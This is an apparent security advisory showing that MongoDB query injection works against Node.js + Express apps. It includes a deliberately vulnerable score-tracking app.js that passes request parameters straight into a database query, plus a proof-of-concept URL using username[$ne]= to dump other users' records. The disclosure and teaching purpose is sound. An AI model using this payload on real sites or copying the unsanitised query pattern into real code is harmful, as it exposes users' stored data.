MongoDB Request Injection Attack in Node.js + Express Web Applications
Overview
========
Students in my Web Programming class (G. Brown, S. Prassad, et al)
discovered that MongoDB request injection attacks also work on Node.js
+ Express web applications. MongoDB request injection attacks have
been known for PHP web applications.
Impact
======
Attacker can view and download all the data in a MongoDB database
collection.
Affects
=======
Node.js + Express web applications
Additional Background Information and References
================================================
* http://docs.mongodb.org/manual/reference/operator/query/ne/
* http://www.acunetix.com/vulnerabilities/vulnerability/MongoDB_injection
* http://www.slideshare.net/wurbanski/nosql-no-security
* https://www.youtube.com/watch?v=lcO1BTNh8r8
* http://pastebin.com/JV15vA6K (FireEye vulnerabilities)
Example Vulnerable Node.js + Express Web Application
====================================================
File 1: package.json
====================
{
"name": "2048-gamecenter",
"version": "0.1.1",
"dependencies": {
"express": "latest",
"mongodb": "latest",
"body-parser": "latest"
}
}
File 2: app.js
==============
// Express initialization
var express = require('express');
var bodyParser = require('body-parser');
var app = express();
app.use(bodyParser());
app.set('title', '2048 Game Center');
// Mongo initialization
var mongoUri = process.env.MONGOLAB_URI || process.env.MONGOHQ_URL ||
'mongodb://localhost/2048';
var mongo = require('mongodb');
var db = mongo.Db.connect(mongoUri, function(error, databaseConnection) {
db = databaseConnection;
});
app.get('/', function(request, response) {
response.set('Content-Type', 'text/html');
var indexPage = '';
db.collection('scores', function(er, collection) {
collection.find().sort({
score: -1
}).limit(100).toArray(function(err, cursor) {
if (!err) {
indexPage += "<!DOCTYPE HTML><html><head><title>2048 Game
Center</title></head><body><h1>2048 Game
Center</h1><table><tr><th>User</th><th>Score</th><th>Timestamp</th></tr>";
for (var count = 0; count < cursor.length; count++) {
indexPage += "<tr><td>" + cursor[count].username +
"</td><td>" + cursor[count].score + "</td><td>" +
cursor[count].created_at + "</td></tr>";
}
indexPage += "</table></body></html>"
response.send(indexPage);
} else {
response.send('<!DOCTYPE
HTML><html><head><title>ScoreCenter</title></head><body><h1>Whoops,
something went terribly wrong!</h1></body></html>');
}
});
});
});
// http://stackoverflow.com/questions/5710358/how-to-get-post-query-in-express-node-js
app.post('/submit.json', function(request, response) {
// Enabling CORS
// See http://stackoverflow.com/questions/11181546/node-js-express-cross-domain-scripting
response.header("Access-Control-Allow-Origin", "*");
response.header("Access-Control-Allow-Headers", "X-Requested-With");
var username = request.body.username;
var score = parseInt(request.body.score);
var grid = request.body.grid;
if (username != undefined && score != undefined && grid != undefined) {
var toInsert = {
"username": username,
"score": score,
"grid": grid,
"created_at": Date()
};
db.collection('scores', function(er, collection) {
var id = collection.insert(toInsert, function(err, saved) {
if (err) {
response.send(500)
} else if (!saved) {
response.send(500);
} else {
response.send(200);
}
});
});
}
else {
response.send("Data did not go through");
}
});
app.get('/scores.json', function(request, response) {
// Enabling CORS
// See http://stackoverflow.com/questions/11181546/node-js-express-cross-domain-scripting
response.header("Access-Control-Allow-Origin", "*");
response.header("Access-Control-Allow-Headers", "X-Requested-With");
// http://stackoverflow.com/questions/3390396/how-to-check-for-undefined-in-javascript
var username = request.query.username;
if (request.query.username === undefined) {
response.send("[]");
} else {
db.collection('scores', function(er, collection) {
collection.find({
"username": username
}).sort({
score: -1
}).limit(10).toArray(function(err, docs) {
response.send(JSON.stringify(docs));
});
});
}
});
app.listen(process.env.PORT || 5000);
To Run the Web Application Locally
===================================
Assume that Node.js and MongoDB are installed, and mongod is running
1. mkdir webapp;
2. Put app.js and package.json files into the folder "webapp"
3. cd webapp;
3. npm install; // Installs all required Node modules
4. node app.js; // Run web application
Add some data:
curl -d "username=mchow&score=10&grid={}" http://localhost:5000/submit.json;
curl -d "username=bobo&score=20&grid={}" http://localhost:5000/submit.json;
curl -d "username=poo&score=30&grid={}" http://localhost:5000/submit.json;
Proof-of-Concept
================
1. To return all data belonging to a specific username (e.g.,
mchow), go to: http://localhost:5000/scores.json?username=mchow (on a
web browser)
2. To return all the other data, go to
http://localhost:5000/scores.json?username[$ne]=mchow (on a web
browser). Notice the [$ne] in the query, now an associative array
that will change the query to return all data where the username is
*not equal* to mchow!
Remediation
===========
Check and sanitize all GET and POST parameters.